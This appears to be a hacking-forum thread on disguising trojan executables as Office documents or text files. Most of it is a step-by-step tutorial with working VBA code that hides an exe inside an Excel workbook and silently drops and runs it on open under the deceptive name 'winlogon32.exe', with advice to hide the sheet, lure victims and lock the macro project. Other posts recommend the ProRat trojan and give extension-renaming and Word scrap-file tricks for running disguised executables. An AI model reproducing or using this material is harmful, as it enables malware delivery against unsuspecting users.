Well, You are all missing something. I know of a great trojan that can do this. But you have to buy the SE. But ProRat from http://www.prorat.net has this feature to convert its extension into a .txt file. First .exe to .vbs, then you use another converter tool and Generic Extensions Converter and convert the extension to ANYTHING you want, an existing one of course. Check it out.

Regards,
Vort3x

***********************************
** How to embed an exe in an Excel doc **
***********************************



- Open a new Excel doc
- Open the Visual Basic Editor (Tools->Macros->Visual Basic Editor)
- Double-click 'ThisWorkbook'
- Copy and paste the following code into that window...

-----------------start of code----------------------------------

Option Explicit

Sub ImportFile(FileName As String)

Dim FileNum As Integer
Dim FileLength As Long
Dim FileBuffer() As Byte
Dim CurrentRow As Long
Dim BytesToRead As Long

Const MaxBuffer = 4096

FileNum = FreeFile

Open FileName For Binary Access Read As FileNum

FileLength = LOF(FileNum)
CurrentRow = 1

Do While FileLength > 0
BytesToRead = MaxBuffer
If BytesToRead > FileLength Then
BytesToRead = FileLength
End If

FileLength = FileLength - BytesToRead
ReDim FileBuffer(1 To BytesToRead)
Get FileNum, , FileBuffer

AddRow FileBuffer, CurrentRow
CurrentRow = CurrentRow + 1

Loop

Close FileNum


End Sub

Sub AddRow(FileBuffer() As Byte, RowNumber As Long)

Dim CellValue As String
Dim Index As Long

For Index = LBound(FileBuffer) To UBound(FileBuffer)
CellValue = CellValue + Right$("0" & Hex$(FileBuffer(Index)), 2)
Next

Sheet1.Cells(RowNumber, 1) = CellValue

End Sub

Sub ExportFile(FileName As String)

Dim CellValue As String
Dim Buffer() As Byte
Dim Index As Long

Dim FileNum As Long
Dim OK As Boolean
Dim RowNumber

Dim ByteCount As Long

FileNum = FreeFile
Open FileName For Binary Access Write As FileNum

OK = True
RowNumber = 1

Do
CellValue = Sheet1.Cells(RowNumber, 1)
RowNumber = RowNumber + 1

If CellValue = "" Then
OK = False
Else

ByteCount = Len(CellValue) / 2

ReDim Buffer(1 To ByteCount)
For Index = 1 To ByteCount
Buffer(Index) = CByte("&H" + Mid$(CellValue, Index * 2 - 1, 2))
Next Index

Put FileNum, , Buffer

End If

Loop While OK

Close FileNum

End Sub

-----------------end of code----------------------------------


- Go to the Immediate Window in the Editor (View->Immediate Window if it's not open)

- Type 'ThisWorkbook.ImportFile "<filename>" <enter>' (no single quotes, keep double quotes, replace filename with the file you want to embed)
example: ThisWorkbook.ImportFile "C:\program.exe"
- Hit enter

- Under the current code, type or paste the following...

-----------------start of code----------------------------------

Private sub Workbook_Open
ExportFile "<filename>"
Shell "<filename>",vbHide
End Sub

-----------------end of code----------------------------------




- Replace <filename> with whatever you want the file to be exported as...
ie. ExportFile "C:\winlogon32.exe"
Shell "C:\winlogon32.exe" ....
- Go back to the excel and hide the sheet where it imported the file.
(Format->Sheet->Hide)
- You will now see a clean sheet
- Put whatever you want in it...make it look nice
- This sould also be something that you would assume would contain a macro,
and something they are going to want to open. Be creative.

- Save

- That is it. Remember: Macro setting are set to Medium on default, so in the
default state, it will prompt and ask to run a macro or not.

- It is pretty similar in Word...you just replace 'ThisWorkbook...' with 'ThisDocument...'

NOTE: I have only tried this on Office 2000...It could be diffenent is Office XP\

let me know if something is wrong or help is needed


- BE


--------------------


in the VBA editor where you are doing everything else, right click on 'ThisWorkbook' and choose 'VBAProject Properties...' then, click on the 'protection' tab, check the box where it says 'Lock project for viewing', put your password(s) in and click OK.

here is another trick try renaming a exe file to a txt or any thing u like then on the dos prompt type "start C:\renamed_exe.txt" it should execute

here is another trick try renaming a exe file to a txt or any thing u like then on the dos prompt type "start C:\renamed_exe.txt" it should execute

just rename any .exe to .txt and make sure it is run from within cmd.exe . Then your problem would be solved.....

ok i believe that there is another way to do that...    u can use a packer that will help u pack the patch alongwith the document file... but then again u have to compress that server file into the document file in order to disguise it... but the mechanism should be developed that the server file is extracted and run in the background(hidden)......   

<this info was not meant to encourage trojan disctribution>:>

Well, but you have to convince the victim to do so.

isn't it possible to change the header of a txt file to
run some code wich is in the txt file or also in the header?

this is how you convert an executable file into a scrap file:

1. drag the executable file into word
2. right click--> package object --> edit package
3. from object packager edit --> copy package, & paste

scrap file is ready. double clicking would run it like an executable.